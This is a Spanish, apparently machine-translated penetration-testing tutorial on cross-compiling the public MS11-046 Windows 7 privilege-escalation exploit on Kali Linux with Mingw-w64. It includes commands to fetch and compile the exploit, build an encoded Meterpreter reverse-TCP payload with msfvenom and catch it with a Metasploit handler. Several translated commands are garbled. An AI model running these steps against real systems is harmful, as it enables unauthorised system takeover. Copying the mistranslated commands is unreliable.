Microsoft Windows todavía tiene la mayor participación en el mercado cuando se trata de sistemas operativos para computadoras de escritorio, tanto para uso empresarial como personal. Por lo tanto, es muy probable que encuentre una gran cantidad de estaciones de trabajo y servidores de Windows durante su entrenamiento de prueba de penetración y carrera. Por otro lado, la mayoría de los probadores de penetración utilizan principalmente distribuciones basadas en Linux como Kali Linux, Pentoo o Backbox. Por lo tanto, necesita la capacidad de compilar rápidamente exploits de Windows en su máquina Linux. La solución para esto es: Mingw-w64.
Mingw-w64 es un entorno de desarrollo de software libre y de código abierto para la creación de aplicaciones de Windows. Mingw-w64 originalmente se llamaba Mingw32 y no era compatible con la arquitectura de 64 bits. En este tutorial veremos cómo usar Mingw-64 para compilar exploits para Windows en Kali Linux. Comencemos con la instalación de Mingw-w64 en Kali Linux.
Instalación de Mingw-w64 en Kali Linux
Mingw-w64 no está instalado por defecto en Kali Linux 2016.2 y versiones anteriores. Por lo tanto, necesitamos instalarlo primero antes de poder compilar exploits de Windows en Linux. Ejecute los siguientes comandos para instalar Mingw-w64:
actualización apt-get
apt-get install mingw-w64
Escriba y para sí para confirmar y continuar el proceso de instalación de Mingw-w64. La descarga e instalación de Mingw-w64 puede tardar un poco en completarse.
No se pudo ubicar el paquete mingw-w64
A veces obtienes una incapacidad de localizar el paquete mingw-w64 error al tratar de instalar el paquete mingw-w64 y obtener algo como:
root @ kali: ~ # apt-get install mingw-w64
Leyendo listas de paquetes … Hecho
Construyendo un árbol de dependencia
Leyendo información del estado … Hecho
E: no se puede ubicar el paquete mingw-w64
Para resolver este problema, asegúrese de tener los repositorios correctos en el archivo sources.list. Puedes editar el archivo usando nano:
/etc/apt/sources.list
Asegúrese de tener los repositorios correctos en este archivo. Puede encontrar los repositorios para diferentes versiones de Kali Linux en la página siguiente:
https://docs.kali.org/general-use/kali-linux-sources-list-repositories
Con los repositorios adecuados en el archivo sources.list, necesita ejecutar apt-get update y luego ejecutar nuevamente el comando de instalación para el paquete Mingw-w64.
Compilación cruzada de exploits de Windows con Mingw-w64
Ahora que tenemos Mingw-w64 instalado, podemos comenzar a compilar exploits de Windows en Kali Linux. Para este tutorial, compilaremos un exploit de Windows escrito en c para aprovechar la vulnerabilidad CVE-2011-1249 (MS11-046) en Windows 7 SP0 x86. Esta versión del sistema operativo Windows contiene una vulnerabilidad en el controlador de funciones auxiliares (AFD) que permite una elevación de privilegios para un usuario autenticado no administrativo. A pesar de que Mingw-w64 fue desarrollado para la tan necesaria compatibilidad de 64 bits, también podemos compilar exploits de Windows de 32 bits. Echemos un vistazo a cómo podemos compilar exploits de Windows de 32 bits.
Comencemos con la descarga del exploit de Exploit-db:
wget –output-document = 40564.c https://www.exploit-db.com/download/40564
Use el siguiente comando para compilar el exploit afd.sys para Windows 32 bit:
i686-w64-mingw32-gcc [archivo de entrada: fuente] -o [archivo de salida: .exe] -lws2_32
El siguiente comando compilará el exploit de escalamiento de privilegios afd.sys de Windows 7:
i686-w64-mingw32-gcc 40564.c -o exploit.exe -lws2_32
Para transferir el exploit al host de destino, lo serviremos con el servidor web Apache incorporado. Los últimos 2 comandos copiarán exploit en el directorio de inicio de Apache e iniciarán el servidor web Apache.
Cuando descarguemos y ejecutemos el exploit desde cmd.exe, se verá así:
Como podemos ver, el comando whoami devuelve un usuario privilegiado antes de ejecutar el exploit y el usuario del sistema después. Este exploit en realidad genera un nuevo shell en el shell actual desde el que se lanzó, en lugar de un nuevo shell en una nueva ventana. Esto significa que también podemos ejecutar este exploit desde el shell de línea de comandos, como Meterpreter. Veamos cómo podemos ejecutar el exploit desde una sesión de Meterpreter.
Explotar errores de compilación
Al compilar exploits para diferentes arquitecturas y sistemas operativos, pueden ocurrir muchos errores. Hay muchas variables que pueden hacer que la compilación falle, como: sintaxis, bibliotecas, arquitecturas de host y destino, software instalado utilizado para compilar código y mucho más. Algunos errores pueden ser fáciles de corregir y otros no. También es importante distinguir las advertencias de los errores fatales, ya que las advertencias pueden indicar simplemente funciones obsoletas que no impiden que el exploit funcione. Los errores fatales impiden que el exploit funcione y, por lo tanto, deben corregirse.
La mejor forma de lidiar con los errores de compilación es leerlos detenidamente y buscar soluciones en Google. A menudo no eres la primera y única persona que enfrenta un cierto error de compilación y, por lo tanto, no es necesario reinventar la rueda. Los recursos en línea como el intercambio de pila a menudo le ofrecen posibles soluciones para los errores de compilación más comunes.
Explotar MS11-046 desde un shell Meterpreter
Generemos rápidamente una carga útil TCP inversa Meterpreter de Windows de 32 bits utilizando Msfvenom y ejecútelo en el host de destino. Utilizaremos el controlador múltiple en Metasploit para atrapar el shell inverso.
Use el siguiente comando para crear la carga usando Msfvenom:
msfvenom -a x86 -plataforma Windows -p windows / meterpreter / reverse_tcp LHOST = [IP attackbox] LPORT = 4444 -e x86 / shikata_ga_nai -f exe -o exploit.exe
Asegúrese de reemplazar la IP del host que escucha y, si es necesario, el puerto de escucha. Ahora inicie msfconsole y ejecute los siguientes comandos para configurar el exploit multi handler:
utilizar exploit / multi / handler
set lhost [listening host IP]
establecer lport 4444
correr
Luego descargue el exploit al host de destino y ejecútelo. Si todo estaba configurado correctamente, debería recibir un shell Meterpreter inverso en la consola de acceso múltiple:
Luego escriba shell en la línea de comando Meterpreter y ejecute el exploit de escalamiento de privilegios para escalar el shell a un shell del sistema:
Como puede ver, el shell va desde el shell de usuario de prueba privilegiado a un shell del sistema. Tenga en cuenta que un nuevo shell del sistema se genera en el shell desde donde se ejecutó. Por lo tanto, no podemos ver el resultado del exploit como está en el viejo shell con privilegios limitados.
Puede verificar esto escribiendo Exit, que saldrá del shell del sistema y lo regresará al shell del usuario que todavía contiene el resultado del exploit de escalamiento de privilegios de Windows 7:
Lecciones aprendidas
En este tutorial hemos aprendido los conceptos básicos de los exploits de compilación cruzada para Windows en Linux. Hemos aprendido cómo instalar Mingw-w64 en Kali Linux y resolver los problemas de instalación más comunes. Para practicar el proceso de compilación de exploits, hemos compilado un exploit de escalada de privilegios para Windows 7 x86. Esto también se llama compilación cruzada.
Hemos ejecutado con éxito el ejecutable compilado en el host de destino y escalado el shell desde un shell de usuario limitado a un shell del sistema. Hemos aprendido que este exploit en particular generó un caparazón dentro del caparazón desde donde se ejecutó el exploit. De esta forma, también podemos ejecutar el exploit de escalamiento de privilegios desde una línea de comandos, como un shell Meterpreter. Por último, hemos aprendido cómo solucionar errores durante el proceso de compilación. Como un hacker ético y un probador de penetración, se recomienda consultar recursos como el intercambio de pila para buscar soluciones a errores de compilación.
Fuente: hackingtutorials.org